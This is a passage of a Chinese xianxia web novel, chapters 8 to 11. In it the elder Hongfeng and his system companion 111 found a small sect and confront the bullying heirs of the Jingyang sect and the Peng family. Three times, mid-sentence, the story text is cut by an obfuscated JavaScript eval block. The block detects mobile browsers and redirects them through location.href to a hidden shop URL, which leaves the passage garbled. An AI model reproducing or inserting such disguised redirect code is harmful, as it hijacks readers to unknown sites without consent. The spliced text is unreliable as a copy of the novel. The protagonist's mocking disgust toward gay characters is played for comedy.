当年红枫所在的位面原本也是这样,111能理解红枫对于任务书上的师兄的同理心,曾经红枫也是和那位师兄一样的人,只在意修炼,半点不懂人心,那个时候111自己也老是被其他人说是人工智障,要不是红枫愿意留下它,它就要被销毁了,说起来他们也是一起走过了许多坎坷心酸路啊。 111老气横秋地叹了一口气,红枫眯了眯眼,用手指在书上的天道二字下划了一道。 以理性务实的人为大多数,却又把最为理性务实的人打入了魔道? 8. 第 8 章 给新收的小弟子们修改好了要练的功法秘籍,给自家师弟安排好了今天要干的事情,红枫就离开了寻道峰,想在乾阳派里四处走走,看看这个门派的修炼风气。 路过学堂的时候听到了一些小弟子们在讨论课上的知识,红枫脸上带着满意的微笑离开学堂,打开赏金阁的大门,打算给自家师弟接点任务让他出去跟门派里这些弟子一起锻炼锻炼,然而,打开大门的那一瞬间,红枫看到了一个把他眼睛弄脏了的画面。 他看到两个男人靠得很近,他们还在做那种不可描述的事情。 红枫啪地一下就关上门出去了。 “进来吧。” 红枫犹豫不决。 大门从里面打开,刚才还在拥吻的两人走了过来,一人神色不耐地看了他一眼,另一个人比较内敛,没有什么表情,只淡淡地对他说:“红长老来赏金阁有何贵干?” 红枫原本是来帮师弟接任务的。 而现在,他看了他们好一会儿,走了。 光天化日之下,工作时间,在这里搂搂抱抱,真是有伤风化,红枫不跟掌门告他们算他没种好吧。 于是红枫很快赶到了掌门所在的主殿。 他看见师伯在前面走了进去,想到上次他们两人吵架的场面,他就在后面稍微等了一会儿再过去,就这么等了一会儿,他过去的时候就看到师伯把掌门摁在墙上亲。 红枫想骂脏话,又觉得这个场面骂脏话会脏了他的嘴,只能自己在心里骂骂咧咧着走了。 掌门和师伯不管事,也在这里搞七搞八,就不要怪他惊动太上长老了,红枫一边在心里嘀嘀咕咕,一边往乾阳派最北方向走,找到了太上长老们的居室,还没进门,就看到…… 红枫满头大汗,开始怀疑世界。 为什么会这样啊?他们怎么回事?这些都是公共场合啊?他们亲的都是男人啊! 这个位面的天道,好像很重视□□。 爱情是情,□□是欲,欲望到来的时候人是无法忍受的,而情不一样,情感总是细水长流,不在朝朝暮暮,从科学上讲,□□来自催发身体感觉的器官,往往伴随着占有,伴随着对另一个人身体的渴望,而爱情来自催发脑内情感的激素,只是简单希望对方能够长长久久地好,对方能过得好,就会有很简单的幸福感。 之前罗衍对乐易的感情,显然就是一种□□,生于美色,长于顺从,最后根植于占有之上,作为本位面的根基,他们的状态就是本位面天道最为推崇的状态,所以才会有现在这样的情况。 红枫抬头看了看天,日光很强,他又眯了眯眼睛:“看来继续呆在这个门派也学不到什么东西。” 111默默在红枫心里吐槽。 虽然但是,这些话听起来好像很有道理,宿主好像很懂爱情的样子,那为什么到现在他们两个都还是单身狗呢? 第二天,红枫就带着乐易和一众弟子们下了山,去了江州。 江州是一处人流量极大的地方,城内基本上都是外地人,红枫想要在这求个职,找个门派挂个客卿的职位,以后尽量少回乾阳派。 然而,让他十分难受的是,江州街头居然有人公开求偶。 在大街上,当着这么多人的面,就有人大声问:“有1吗?” 旁边就有人大声回答:“没有,遍地飘零。” 街边路过的一名年轻男子用胳膊肘捅了一下自己身边的朋友:“喂,要不你就为了我做一回1吧?” “滚,老子是女的。” 1是什么,0是什么,红枫离开乾阳派之前就在历史书上看过了,现在对着这副场景,他情不自禁就想往后退,想要绕开这条街,可下一条街也是差不多的景象。 周围的其他人都觉得这很正常,连红枫带着的师弟和徒弟们也都觉得这很正常。 红枫感觉自己可能是找不到合适的帮派来挂靠了,就在路上给掌门写了封信,然后自己建了个子门派。 他的身份在乾阳派内还算说得上话,掌门通过了他建立子门派的申请,允许他建立的门派中最核心的弟子随时进入乾阳派,这实在是个很大的卖点,红枫收到信就把这个卖点作为广告打了出去,用来招收弟子。 反正他培养弟子的首要目的就是为了给师弟找男朋友,到时候让他们去乾阳派学习怎么变弯也挺好的。 就是师弟最近有点不好哄,天天跟他哭说要师父,红枫和他说了师父不在他就要红枫陪他睡,可他是个弯的,红枫看都不敢多看他,怕多看一眼自己的父爱就被嫌弃淹没了,更别说陪他睡了,红枫实在是想不到办法,直到一名九岁的小弟子来跟他汇报说自己怕黑。 红枫当时就想把他们安排到一起睡,但是,还是因为师弟是弯的,万一他对这个九岁的小朋友动手动脚怎么办?红枫心里就有点急,这么一急,他就想到办法了,他买了一屋子的故事书,天天给师弟读故事书哄孩子睡觉。 乐易其实不是很喜欢听红枫讲的故事。 红枫喜欢给他讲《让孩子独立的108个故事》,《做一个懂得品尝孤独的人》,《没有伞的孩子跑得更快》,这一类的故事。 但是红枫一讲故事,房间里就会长出很多其他的小孩,一起凑过来听故事,乐易喜欢看到人很多的场景,喜欢跟大家一起玩,就忍了下来。 但是他不知道该怎么跟人接触,他其实衣服都没有怎么穿过,这段时间每天师兄都要叫他好好穿衣服,还教他要把腰带系紧,不然会显得很胖,不好看,师兄还不让他抱,说是男人之间不能随便搂搂抱抱,之前他看到师兄收的师侄,想过去打招呼,师兄问他该怎么称呼他们,他说卿卿,师兄又把他教训了一顿,说只有关系最好的人才是卿卿。 还有好多,师兄说他的常识有很大问题,让他多看历史书。 乐易就很受打击,他知道自己错了,觉得自己什么都不懂,什么都不会,心里很难过,他老老实实闷头看了几天书,结果彻底崩溃了,他就想抱着师兄哭,师兄还不让他抱。 乐易心里就气鼓鼓的,想着以后等师兄哭了他也不让师兄抱。 “听懂了吗?” “没听懂!” 红枫问他有没有听懂故事,乐易还是气鼓鼓的。 “小朋友就要有小朋友的样子,你乖一点。” “我就没!就不乖!” 红枫感觉他哄不好这孩子了。 这孩子废了,他还是去看看自己收的乖徒弟们算了。 红枫最早收的几个三灵根弟子已经引气入体成功,最近新收的几个还在慢慢摸索,他建的是小门派,只要有灵根能修炼他就收,可就算是这样,这个小门派里的人数算上红枫和乐易也不到二十个。 虽然只招到了二十个人,但是红枫觉得招人已经招得很累了,他连门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459098|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派名字都不想自己取了,随便用了一个从前取过的名字,就叫自己这门派鼎剑阁,希望能尽早在鼎剑阁里培养出适合乐易的顶尖人才,然后离开这个人人都在搞七搞八的魔幻位面。 这样平静的日子是在一个晴空万里的下午被打破的。 阳光下,鼎剑阁内最瘦弱最矮小的十七岁弟子裴安和哇哇大哭着朝红枫跑了过来,他头发散乱,衣冠零落,惊得红枫喝茶差点呛住,然后弟子告诉他自己刚才被夺了法宝。 哦,就只是被夺了法宝啊…… 把红枫吓死了,他还以为这个弟子被劫色了,滚到嘴边的“男孩子出门一定要保护好自己”这句话突然就说不出口了。 红枫尴尬地咳了一声:“法宝我再给你做一个,是谁打了你?” “……是景阳派秦伍之。” 裴安和这话说得很犹豫。 景阳派是宁国的大派,秦姓是宁国的国姓,对方是他惹不起的人,说了这件事可能反倒要惹灾祸,但是不说,事后他心里又会憋屈,现在在红枫身边让他很放松,他想说出来。 “那我们出门一趟,”红枫发了一条传音下去:“去景阳派踢馆,有人一起去吗?” 他说得简单,把一旁的裴安和吓得不轻,红枫注意到了他的脸色有些不对劲,就问了他一句:“你怎么了?” 景阳派是大派,裴安和不敢冒犯,对着红枫连连摇头道:“不要去,景阳派势大,我们惹不起他们,其实也没有什么,我不用法宝一样可以修炼,那些凡人都能修真,我们这样已经很好了。” 红枫哦了一声:“很大吗?” 裴安和张开双臂比划了一下:“非常大,他们有一整座灵峰,道观都有好几层楼那么高。” 而红枫草草建立的鼎剑阁,只是随便买了个庄子画了个聚灵阵,如果对外人说这里面是一户江南的凡人民居,也是不会有人怀疑的。 乐易已经赶过来凑热闹了,其他弟子也都纷纷端了小板凳过来听裴安和说话,裴安和也就说得越发详细:“我要说的事,你们千万别害怕,景阳派的弟子几乎都是宁国的贵族,还有天赋异禀的双灵根,他们的老祖是金丹期修士,就是那种这个位置,这里,有颗金丹你们明白吗?可以自己造灵气那个金丹!” “嗯嗯。” “他们有金丹修士欸,你们严肃一点啊。” 乐易努力忍着不要笑出声:“嗯嗯。” “乐师叔!”裴安和忍不下去了:“你一直都在笑!你都没有停过!” “我马上要到金丹期了。” “啊,这样吗,”裴安和懵了一会儿,又转头问另一个人:“云师兄,你为什么也在笑?” “我也要到金丹期了。” “那,那我们等到了金丹期再去打?” 乐易眨了眨眼,指了指红枫:“他已经是大乘期了。” 红枫的脸色黑得跟锅底一样,裴安和总算意识到了红枫的不对劲,但是已经晚了,红枫已经发现了他的不对劲了。 红枫从来没有掩饰过自己的修为,更没有掩饰过自己的出身,虽然他没有挂在嘴上说过,但是他写进了教材里。 裴安和抖得跟个鹌鹑一样看着自己从小到大最尊敬的师父缓缓开口,口中的话语比冬天最冷的时候还要冷。 “平时上课不听讲,回来以后你给我把地理课本上乾阳派那一章抄八百遍。” 9. 第 9 章 抄书是“回来以后”的事情,现在首先要做的事情是给自己的弟子出头。 红枫带着变成鹌鹑的裴安和还有一群看热闹的小朋友们一起上了景阳派,景阳派对红枫来说不算高,毕竟只是在山上,不像乾阳派那样建在半空中。 他站在山门前,抬手叩了叩山上的大门,大门就应声而倒,现出里面惊慌失措的景阳派修士们。 “我要见秦伍之,”红枫看了一眼裴安,看见他还在发抖,想了想,给他披了一件厚实点的法衣:“让他出来给我的弟子道歉。” 裴安和被厚实的法衣压得一个趔趄。 他这不是冻的,是激动的。 刚才他亲眼看见他的师父一抬手就敲坏了景阳派的山门,那可是景阳派的山门,是被称为宁国第一大派的景阳派的山门。 裴安和前几日还在担心师门里会不会已经要穷得没米下锅了,今天居然就看见师父一抬手就敲坏了景阳派的山门,这一敲,往后几百年甚至几千年的大米都不用愁了啊。 他可太激动了。 他还没有激动多久,之前抢了他法宝的秦伍之就出现了,裴安和立马就躲到了红枫身后,又觉得自己这样实在是太给师父丢人了,赶紧站了出来。 红枫看他已经看服了,这帮倒霉孩子就没一个看着像是有出息的。 秦伍之跟着景阳派的几名看上去有些年长的修士一起走了过来,这群修士里修为最高的也不过金丹期,神情倒是很傲慢,人还未到,术法就先攻向了红枫。 红枫自认自己这一方有理,没有先开口,等着景阳派的人道歉交还法宝,没想到景阳派的人非但不道歉,还胆敢向他攻击。 红枫不想抽剑,决也不想掐,咒也不想念,只是心念一动,天雷就从上空轰然而下,击散了转落在他眼前的术法,景阳派的人被这天雷震得一惊,这才正视起红枫来。 在红枫身上,他们感受不到丝毫灵气波动,可他刚才又确实使出了高阶天雷术法,显然境界并不低。 景阳派长老已经在盘算要不要把秦伍之丢出去了。 一旁的秦伍之此刻还完全没有察觉到长老的心思,他目光灼灼地打量着红枫,对这个漂亮得过分的陌生修士很感兴趣,认为对方很适合用来充实自己的后宫。 在这个位面,红枫虽然没有了白月光buff,但是修为和本身的容貌,以及新掺了帅道的道韵都还在,虽然没有了那种让人着迷的神秘加成,但是好看也还是真的好看。 红枫当然也感觉到了这种来自基佬的目光,表情十分嫌弃。 秦伍之面色一变。 他居然敢给他甩脸色。 秦伍之生在宁国皇宫,长在景阳派,从小到大,所有人都捧着他顺着他,从来没有人敢给他甩脸色,掌门都不敢,这家伙是哪来的狗胆? 就他这副穷酸相,他秦伍之堂堂宁国太子看得起他就是给他面子,既然这人敢来景阳派放肆,今天就别想回去了。 秦伍之给了自己身边的长老一个狠毒的眼神,长老同时也给了秦伍之一个狠毒的眼神,然后就把秦伍之捆起来送到了红枫跟前,长老单膝下跪,态度十分陈恳:“请前辈随意处置。” 红枫挑了挑眉。 他其实只是想让这个小朋友跟自家小朋友道个歉,然后把东西还回来,毕竟只是夺宝不是杀人,在他眼里实在算不上是什么大事。 修真界的夺宝和现代以及星际位面不同,修真界的修真资源稀缺得还不如原始位面的粮食多,他们喜欢抢东西很正常,那些所谓的大宗派是实力太强所以可以不动用武力就抢走资源,大家其实同样都在抢东西。 杀人不一样,人死了会去地府,去了地府以后,他们可能在那边呆着呆着就不想活回来了,这对还活着的人来说就是很大的损失了。 红枫想不出来该怎么对待秦伍之,就看了一眼裴安和。 裴安和此刻也正全神贯注地看着他,见他看向自己,先是有些疑惑,很快反应过来这是要他自己处理秦伍之的意思,裴安和兴奋地搓了搓手,认认真真地思考了许久,然而也想不出来该怎么处理秦伍之。 先前师父送他的法宝被抢走的时候他觉得整个世界都灰暗了,他都不敢想师父是有多省吃俭用才节省出了这么大的一个法宝,结果就这么被秦伍之抢了,那时候法宝在他眼里就是八百斤大米啊,那可是八百斤大米啊。 然而,现在裴安和现在发现他不用愁大米了,之前他说他法宝被抢了,师父说再做一个就行了,后来他说景阳派势大他们打不起,结果现在他们就打到了景阳派大门前。 打个比方就是,一个没钱的人丢了一块银子,会很难过很伤心,觉得世界好绝望生活好难受,可是一个有钱人丢了一块银子,就算是丢给了仇家,也不会觉得心疼,甚至会觉得对方居然连银子都要靠抢,有一点点可怜。 现在比起秦伍之,他觉得那些让他认为自己很穷的人更讨厌,秦伍之只能算是一杆枪,真正让人讨厌的是用枪的人。 就是那些人和他说他的衣服一看就不像是值钱的料子,他的举止一看就是来自小门小派,说他做什么都是一股小家子气,还说他的剑八成是自己胡乱编的,半点章法没有,他吃不下宁国都城的菜,他们都要说他的肠胃穷惯了,没见过油水。 那些日子,裴安和都不敢数钱,他怕一数钱就想到师父,就想到师父是怎么不吃不喝攒下这笔钱给他的,想着想着裴安和就要哭,觉得师父过得真是太艰难了,都这样了还要省下这么多钱给他花,他一定也要省着用,于是能不吃饭就不吃饭能少买衣服就少买衣服。 红枫之前就经常对着裴安和这副又瘦小又弱鸡的样子叹气,叹完气就给他加零花钱,结果裴安和反而更觉得师父省钱辛苦,更不愿意花钱,如此循环往复,到今天,他才有了原来他有钱可以花的想法。 裴安和越想越觉得还是秦伍之后面跟着的那群人更让人生气,也就这么和红枫说了:“我觉得他把法宝还回来就行了,他身边那群人才最可恶。” 这话倒是说得红枫有些好奇:“为什么?” “他们骗我说我穷,害得我都不敢随便花钱买衣服和吃的,这些年我冬天都过得好冷,晚上也很少吃饭,生了好多次病,太耽误修炼了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459099|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >红枫深深地叹了口气:“所以你地理课上为什么不认真听讲?” 裴安峰怂着脖子:“饿嘛……我平时坐最后一排靠门那里还冷得很……” “冷得很,那你为什么要坐最后一排?” “我成绩差……” 裴安和不好意思坐在前排,坐后排他都感觉师父老是在看他,坐前排就,太恐怖了。 “你坐前排我又不会抢你法宝,下次你记住给我坐前排。” “哦……” 裴安和这孩子的自信心,在红枫没有注意到的时候,已经被那群人打击得渣都不剩了。 现在只能亡羊补牢,红枫把秦伍之放在一边不管,转头问裴安和:“跟我说说你怎么会认识他们?” 他们确实暂时算是住在宁国境内,但是宁国只能算是世俗的说法,在修真界正道联盟的地图里,这一片区域名为鼎剑阁,属于乾阳派下辖区域。 景阳派取名为景“阳”,就有敬慕乾阳派威名的意思,裴安和居然会被宁国皇室欺负,宁国可是依附于鼎剑阁的国家,宁国皇室来欺负红枫的弟子,就仿佛古风位面里藩属国的人欺负了宗主国的人,简直不可思议。 裴安和更怂了:“他们经常在我们的庄子附近玩,我当时很好奇,就过去看了一下。” 景阳派是知道鼎剑阁的存在的,红枫在正道联盟注册的时候报过自己所在的位置,他们会来鼎剑阁附近游荡也不算奇怪。 景阳派的金丹长老听得直抽嘴角,感情这帮孙子还是自己找上门去的。 “我当时,”裴安和很是难为情:“我当时看他们觉得他们的衣服都好好看,听他们说他们衣服上的图案还都有来历,看起来很有文化的样子,我就觉得他们肯定很有钱,跟他们一起培养好习惯我以后可能就也能这么有钱。” 衣服好看就有钱?红枫穿什么都好看,那他天天都有钱? 红枫觉得累了,声音低低地跟景阳派的长老交代了一句,就揪着裴安和的耳朵回去了。 他离开以后,秦伍之才跪在地上剧烈挣扎了起来。 裴安和生于乡野淳朴之家,长于鼎剑阁内,不知世间之事,秦伍之生于宁国皇宫,长于景阳派,从小到大他都被人簇拥着,见过许多捧高踩低,曾经他们只能捧他,如今,他们必须要踩他。 嗡嗡的杂音自上而下,从他身后传来,他不需要用心去听,也能猜到他们在说什么。 “据说二皇子近年来表现得十分不错。” “是,秦凝之殿下待人十分亲切。” “太子如今只怕德行有亏,难以服众啊。” “嘘,小声,太子在听呢。” “什么太子,他还能算是太子吗?” “若我是太子,如此愧对臣属,恨不能即刻立死啊。” “年岁也不小了,还能做出这样的事情,可见是个皮厚得能砌墙的主,听见了又如何?” “够了!” 秦伍之红着眼睛大喝一声,却被人一脚踩在了背上。 景阳派掌门在他身后沉声道:“仙人自己过得好好的,你为何要去招惹他们?” 10. 第 10 章 裴安和一天天吃不好穿不好的,红枫也不忍心现在就让他去抄八百遍地理书,他给了裴安和一百万极品灵石,让他一个月内花完,然后再去抄他的八百遍地理书。 一百万极品灵石,相当于一个化神期修士修炼一百年的开销,裴安和把乾坤袋拿在手上的时候,整个人都在发抖。 “你又冻着了?” “激,激动……” 红枫叹了一口气,头一次在这个位面摸了摸自家徒弟的脑袋。 “你别把我这个师父当吃干饭的,要是没点能耐就靠省吃俭用生活,我凭什么收你们?” 鼎剑阁是有稳定的灵石来源的,红枫有几座灵矿山,都是原主留下来的,实际上如果是红枫自己去抢,他能把灵矿山脉都抢下来,但是灵矿山就已经很够用了,他也没什么攀比心,就没抢。 但是经过这次的事件以后,红枫觉得,他还是需要抢一座灵矿山脉回来,搞点花里胡哨的让徒弟们长点见识,增长一下鼎剑阁的软实力。 修士的修为,战斗力,秘籍功法数量,这些决定修士存亡的就是一个门派的硬实力,而软实力,则是无孔不入地存在于修士们的生活中的东西,可以轻易地把一个人变成另一个人。 由红枫概括,就是底蕴,或者说故事。 宁国是一个古老的国家,太子的服装上处处都有典故,言行举止之间的礼仪也都是由前人所总结,每一个礼仪都有背后的故事,就连他们口音都有自己变化的因由,而这些故事代代相传,通过各种或文艺或通俗的方式一代代流传下来,就成了底蕴。 鼎剑阁是没有底蕴的,这里没有故事,也可以说这里的故事才刚刚开始,所以虽然鼎剑阁实际上很强,但看上去就是一穷二白,什么都没有,什么都不知道,没规没矩的。 红枫其实有很多故事,他也可以教弟子很多礼仪,但是,徒弟们之前太小了,这些东西本来也是长期相处自然就能拥有的,红枫就没把软实力这回事放在心上,然而他万万没想到的是,居然会有人来他家门口拐骗他的徒弟。 而徒弟被他们骗的原因竟然是觉得他们比自己看起来更有钱。 红枫认为不能再让徒弟们这么没见识下去了。 他加开了一门课,叫做美术,红枫认为,必须通过这种方式,才能拔高自家徒弟们的审美,让他们明白究竟什么才叫好看到一看就很有钱的样子。 结果第一节课五个徒弟发呆走神,第二节课十五个徒弟发呆走神,红枫不想上第三节课了,他没有二十五个徒弟。 红枫慎重考虑以后,决定改为用艺术展的方式来感化自己这群品性顽劣的徒弟们。 他收购了大量的高品质绘画作品,拿来布置好给徒弟们展示,第一天他在的时候还好,虽然气氛比较沉闷,但是也没出什么以外,第二天他出门了一趟,回来一看,就看见乐易就在那气鼓鼓地撕着画纸。 “你在干什么?” “哼,要你管!” 这孩子脾气特别古怪,红枫也不跟他多说,直接把他往另一边推开,自己站在他刚才的位置修复画卷。 “师兄你好过分,”乐易眼含热泪:“我还不如一副画重要吗?” 红枫看都不想看他:“这是美术大师耗尽一生心血画出的传世之画,上面还有著名诗人为画所作的诗,由书法大家亲自提笔书写,你个调皮孩子能比?” “不就一排树杈子嘛……。” 嘴上这么说,乐易还是好奇地凑了过来,看着红枫修复画卷。 “树杈子也是好看的树杈子,”红枫听得脑壳痛:“看画,就要学会看意,看画师融入其中的感情,揣摩其中的故事,你不能只看形。” 乐易嘟了嘟嘴,最后还是哦了一声。 确定没有问题了,红枫才扭头问乐易:“你怎么回事,怎么跑来撕画?” “我……” “嗯?” “我……”乐易又嘟起了嘴:“我到金丹期了!” “哦,”红枫听到了:“你到金丹了。” 111察觉到了什么:“宿主,你可能要挨打。” 乐易握紧了拳头。 “然后呢?” 然后乐易的拳头就往他身上砸了过来:“别的金丹期修士都有结丹大典!为什么我没有!师兄你是不是心里没有我!” 红枫心说他心里只有姐姐和妹妹当然不会有乐易这个不孝子。 111很是惊叹:“宿主,你居然没有直接说出来。” 宿主的情商提升了! 红枫当然不能直接说出来:“这种东西说出来会带坏小朋友。” 111噫了一声:“宿主,你在这个位面的弟子里已经没有几个是未成年人了。” 但是红枫看他们的时候总觉得都还是当年见到的小朋友的样子,要让他用对待成年人的方式对待他们,红枫还是做不到,不仅做不到,连带的还觉得师弟和徒弟们认识的也都是小朋友。 不过说到结丹大典,这种庆典,不就是最适合各种文艺元素一起出场的地方吗? 首先背景音乐要有吧?还得来个雅正的,场景要有布置吧?要大气恢宏超然出尘,一群人聚在一起,做事要有规矩吧?这样礼仪也可以执行出来,还需要有人指挥把控全场,要有人主持典礼,这些策划案和台词文本的言辞也必须要足够得体端方。 “我马上给你办,我们大办一场。” 乐易的眼神里充满了怀疑:“真的吗?” 自己的师兄有多懒他是知道的,明明有很多灵石,身份地位也不低,结果就缩在这么个小地方呆着,还呆得挺习惯,最关键的是,很早很早以前,他就听师父说师兄很快就可以飞升了,结果他这些年一直懒得修炼,至今没有飞升。 要是红枫说好好好给你办,乐易就相信他是会办庆典,但是说大办,乐易就很难相信了。 红枫直言相告:“真的,你赶紧去让他们选几件好看的衣服,不然我怕到时候整个庆典的美观性都得被你们影响,你们这群年轻人的品味真是太差了。” 乐易听完以后瞪了他一眼,气鼓鼓地走了,去找了裴安和。 裴安和现在特别有钱,鼎剑阁里所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459100|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人都知道裴安和现在特别有钱,因为裴安和一个人根本就花不完那一百万极品灵石,必须找阁内所有同门一起帮忙花。 其实裴安和以前很少和他们说话,尤其是这种讨论怎么花灵石的闲话,从前他只跟他们请教修炼的事情,别的一句废话都不说,有空余时间就去修炼,显得十分不好亲近,现在他会怂怂地挨个找人帮忙花灵石了,看起来就有烟火气多了,而且花灵石这种事,除了红枫那个已经花腻了的人以外,谁不想花呢? 反正乐易现在就很想花灵石,买点好看的衣服让自己开心一点。 他发了传音符,和师侄们说了要办结丹大典的事,红枫的弟子们都觉得这是个很大的事情,对于他提出的要去买些新衣服参加大典的建议没有丝毫异议,甚至当场就全体集合跟他一起出发了。 但是,他们没有买过衣服。 乐易刚被红枫气了一顿,不想跟他说话,红枫的弟子们不太好意思找红枫说这种买衣服的小事情,最后还是由去过都城的裴安和领路,他带着一行人一起走进了都城最大的拍卖行去买衣服。 然而,走进了拍卖行,裴安和就不知道该干什么了。 他们的衣服都穿得很简单,还是因为乐易出示了鼎剑阁的牌符,他们才能进入拍卖行,进来以后,乐易就接过了裴安和的领路任务,带大家跟着人流走,到拍卖场里临时加开了一个雅间。 裴安和看着给他们引路的侍者,皱了皱眉,没有多说。 一行人上了雅间,打开今晚拍卖行要拍卖的物品列表,话题瞬间就从好看的衣服歪到了天材地宝上面,乐易也和他们一样,大家都是修士,都明白什么才是对自己最重要的,但是,乐易比他们更明白的是,列表上的这些东西还不如他们平时吃的米贵。 这个列表上的灵石单位是下品灵石,下品灵石乐易不知道该怎么兑换,他只知道一百万上品灵石等于一块极品灵石。 一分钱一分货,还不如他们平时吃的灵米贵的东西,买回去他们能用上吗? “要不我们还是再去别的拍卖行看看?我小时候在乾阳派周围见过几家老字号铺子,宁国里应该也有分店。” 都城是宁国的政治中心,但是如果论修行的修士所聚集的中心,他们其实也不用走这么远,就鼎剑阁边上,说起来还是红枫的锅,鼎剑阁建得这么朴素,那些老字号过来开的分店也都不敢僭越,大家都比照着红枫的来,低调到都没有几个人知道那里还有一条修士购物街。 不过宁国本来就没有几个有钱的修士,会这样也正常,这些商铺打的都是开张吃三年的盘算,就想赚边上住的红枫的钱。 结果现在三年不开张是有了好几轮了,开张吃三年还遥遥无期,也就几家老字号还耗得起,别的小店都关门了,乐易简单地和大家交代了一下,他们就出了雅间,准备离开这家拍卖行。 还未走远,就听见后面有人嚷嚷了一句:“穷鬼逛什么拍卖行。” 裴安和忽然一怔,抓紧了身旁云问风的袖子。 “哈?”乐易一脸嫌弃地看向那人:“你很有钱吗?” 11. 第 11 章 “不如等到你们有件能看的衣服,再来跟本公子谈有没有钱。” 彭修能一眼就把裴安和认出来了。 穷人就是穷人,身边的朋友也都是穷人,连拍卖行的规矩都不懂,进来就叫雅间,叫了雅间还随便退,知不知道这家拍卖行是谁开的?他们彭家的拍卖行可不是这群乡巴佬想来就来想走就走的。 也不知道是哪个没见识的狗东西放了这群泥腿子进来,等到他查出来是谁,一定要把人赶出去。 乐易眼一横,嘴一撇:“穿个花里胡哨的当开屏孔雀?宁搁这求偶呢?” 云问风拂去裴安和的手,也是一脸嫌弃地对着彭修能说:“有的人就是越缺什么炫什么,越没钱越喜欢把值钱的东西拿出来说,生怕别人知道自己没钱。” “有的人”当然是指彭修能,这里除了彭修能和鼎剑阁的人以外也没别人了。 裴安和有点茫然,他握着自己的手,看着同门们如出一辙的嫌弃表情,仿佛看见师父来到了这里。 但是师父说话没有这么难懂,他完全没听懂云问风什么意思。 这些话对于裴安和来说有点难懂,对于彭修能来说,可太明白太敞亮了,他们就是有看不起他的意思。 彭修能倒没有多生气,只觉得他们可笑:“这拍卖行里的东西也都不过是被我们彭家筛过一次的残次品罢了,你们连拍卖行的东西都买不起,赶紧趁早滚回乡下种田吧。” 乐易心说还好他们什么都没买。 云问风持续输出:“店大欺客还说得这么理直气壮,你恐怕不是个双亲健在的。” 裴安和还是没听懂他们在说什么,但是他很清楚彭修能是为了嘲讽自己才对上他们的,他自己也想出一份力,于是试着和云问风接了一句:“你好像侮辱孤儿了。” 云问风觉得裴安和很懂:“对,辱孤儿了,他不配。” 云问风就是有问候彭修能族谱的意思。 这句话一出来,裴安和还是没听懂,彭修能却已经彻底被激怒了:“来人,把这群没教养的东西都给我赶出去!” 这群泥腿子敢这么编排他,今天他就要把他们从彭家的拍卖行赶出去,还要扒了他们的皮来做球踢,让他们知道什么人是惹不得的。 他吩咐下来以后,拍卖场内的侍者一直没有反应,彭修能往后看了一眼:“还不快上?” 拍卖行里的侍者可不像他这么蠢。 能穿着这样的衣服进拍卖行,绝对不会是什么简单角色,但是少主这么吩咐,他们也不能什么都不做,只好恭敬地在他身后对他鞠躬,彭修能见这几个奴才都不想听自己的话,立刻抽出了自己身上的鞭子往侍者身上抽了过去。 乐易见不得这场面,他从小到大就没见过人挨打。 金丹期的威压瞬间遍布了彭修能的全身,包围住了整个拍卖行,云问风适时在后面又阴阳了一句:“我们修为低,就拿金丹期出来炫耀,不像有的人,只能炫耀衣服。” 彭修能被金丹期的威压镇得跪在了地上,到底是熟人,裴安和又没听懂他们之前在聊什么,也没有感受到威压,就下意识对他说了一句:“公子万万不可行此大礼。” 毕竟男儿膝下有黄金,怎么可以这么随便聊了几句话就给人下跪呢? 这下彭修能被他气得趴在地上了。 想他彭修能堂堂彭家少主,从来没有受到过这样的委屈。 不就是金丹期吗,景阳派不也有吗?再说了,他们说自己是金丹期修士就是金丹期修士吗?金丹期修士怎么可能像他们这样穷酸?几个泥腿子居然敢装作金丹期修士来他们彭家的底盘上撒野,等过了今天,他一定要把他们统统抓起来,关进水牢里,冲掉这群土人。 “久闻鼎剑阁大名,未曾料到乐长老会亲身来此,有失远迎啊。” 彭修能睁大了眼睛,猛地抬头,就看见他的父亲已经站在了他身边,在对着乐易行礼。 乐易拿下巴点了点彭修能:“他是你们家的?” 彭家家主微微一笑,语气十分诚恳:“乐长老说笑了,彭家怎会有如此粗鄙之辈?” ……粗鄙之辈? 彭修能不敢相信,他的父亲竟然会说他是粗鄙之辈。 父亲从前不是一直说他是彭家未来的希望,同辈修士的楷模吗? 裴安和也很是不解:“他就是彭修能啊,我见过的。” 彭家家主摇摇头,解释道:“彭家在都城也算小有名气,常有人借我彭家之名行不义之事,如今日这般状况,月中已有三回,让贵客见笑了。” 地上的人确实是彭修能,是他彭家家主的亲儿子,可他不能这么说,一旦他承认了,彭修能才是真的不能活了。 